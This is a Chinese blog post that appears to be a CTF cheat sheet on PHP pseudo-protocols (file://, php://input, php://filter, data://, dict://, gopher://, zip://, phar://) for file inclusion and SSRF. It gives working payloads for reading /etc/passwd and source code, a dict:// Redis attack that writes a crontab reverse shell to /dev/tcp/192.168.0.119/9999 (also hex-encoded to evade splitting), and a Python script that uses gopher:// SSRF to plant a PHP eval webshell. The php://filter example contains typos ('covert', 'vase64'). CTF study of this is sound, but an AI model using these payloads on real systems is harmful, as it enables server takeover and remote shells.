CTF常用伪协议总结

原创

Asionm 已于 2022-02-26 21:16:13 修改 2254 收藏 3
分类专栏： ctf总结 文章标签： php 安全 web安全
于 2022-02-26 21:15:23 首次发布

PHP伪协议

- ### file://协议

  用来读取本地的文件，当用于文件读取函数时可以用。

  常见检测是否存在漏洞写法：

  www.xxx.com/?file=**file:///etc/passwd**

  此协议不受allow_url_fopen,allow_url_include配置影响

- ### php://input协议

  此协议一般用于输入getshell的代码。

  - #### 使用方法：

    在get处填上php://input如下

    www.xxx.xxx/?cmd=php://input

    然后用hackbar或者其他工具，postPHP代码进行检验，如

    <?php>phpinfo()?>

  此协议受allow_url_include配置影响

- ### php://filter协议

  此协议一般用来查看源码

  一般用法如下

  www.xxx.xxx/**?file=php://filter/read=covert,vase64-encode/resource=index.php**

出来的是base64码需要进行解码

此协议不受allow_url_fopen,allow_url_include配置影响

- ## data://协议

需要allow_url_fopen,allow_url_include均为on

这是一个输入流执行的协议，它可以向服务器输入数据，而服务器也会执行。常用代码如下：

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

text/plain，表示的是文本

text/plain;base64, 若纯文本没用可用base64编码

- ## dict://协议

与gopher协议一般都出现在**ssrf**协议中，用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。

常见用法：

- ### 探测端口指纹

  192.168.0.0/?url=dict://192.168.0.0:6379

  以上为探测6379（redis）端口的开发

- ### 反弹shell

  1、开启反弹shell的监听

  nc -l 9999

  2、依次执行下面的命令

  *curl dict://192.168.0.119:6379/set:mars:"\n\n * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"*
  curl dict://192.168.0.119:6379/config:set:dir:/etc/
  curl dict://192.168.0.119:6379/config:set:dbfilename:crontab
  *curl dict://192.168.0.119:6379/bgsave**

  执行时，反弹shell的命令，也就是set:mars:xxx，会因为特殊字符的原因无法写入到目标的redis中，被被空格所分割导致出现一下情况：

  1584705879.520734 [0 172.17.0.1:44488] “set” “mars” “\n\n*” “” “” “” “” “root” “bash” “-i” “>&” “/dev/tcp/192.168.0.119/6789” "0>&1\n\n"

  我们会发现，命令被分割了，看表象感觉像是被空格分割了。此时将反弹shell的命令进行十六进制转换，变为：

  curl dict://192.168.0.119:6379/set:mars:"\x0a\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x72\x6f\x6f\x74\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x31\x39\x2f\x39\x39\x39\x39\x20\x30\x3e\x26\x31\x0a"

  以上单引号使用反斜杠\进行转移，其他数据进行十六进制编码，执行结果如下，可以发现没有错误了

*1584706087.980465 [0 172.17.0.1:44490] “set” “mars” "\n * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n"**

剩下的修改路径和文件名称的请求，正常执行即可

- ## gopher://协议

gopher://协议经常用来打内网的各种应用如**mysql redis**等。一般要用一些工具来进行构造payload 如gopherus等

之前用来打redis内网的脚本如下

```
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://192.168.239.78:41403/index.php?url="    #windows上搭建的ssrf漏洞页面
gopher = "gopher://0.0.0.0:6379/_" #/var/www/html
#auth nonono
# 攻击脚本
data = """
flushall
set test "\\n\\n<?php @eval($_POST[x]);?>\\n\\n"
config set dir /var/www/html
config set dbfilename shell.php
save
quit
"""
def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder

# 二次编码
encoder = encoder_url(encoder_url(data))

print(encoder)
# 生成payload
payload = url + quote(gopher,'utf-8') + encoder

# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
print(response)
```

- ## zip://协议

zip://协议可以用来访问服务器中的压缩包，无论压缩包里面的文件是什么类型的都可以执行。也就是说如果服务器禁止我们上传php文件那么我们可以把php文件改后缀然后压缩再上传，然后用zip协议访问。要利用zip协议时一般要结合文件上传与文件包含两个漏洞

一般的代码为

www.xxx.xxx/?file=zip:///php.zip#phpinfo.jpg

其中的#好表示的是php.zip的子文件名。有时候#需要变成==%23==，url编码。

- ## compress.bzip2://协议

  与zip协议类似不过要压缩成bzip2格式的

- ## compress.zlib://协议

  与zip协议类似不过要压缩成zlib格式的

- ## phar://协议

  phar://协议与zip://协议类似，它也可以访问zip包，访问的格式与zip的不同，如下所示

```
http://127.0.0.1/include.php?
file=phar:///phpinfo.zip/phpinfo.txt
#这里用/隔开了子文件
```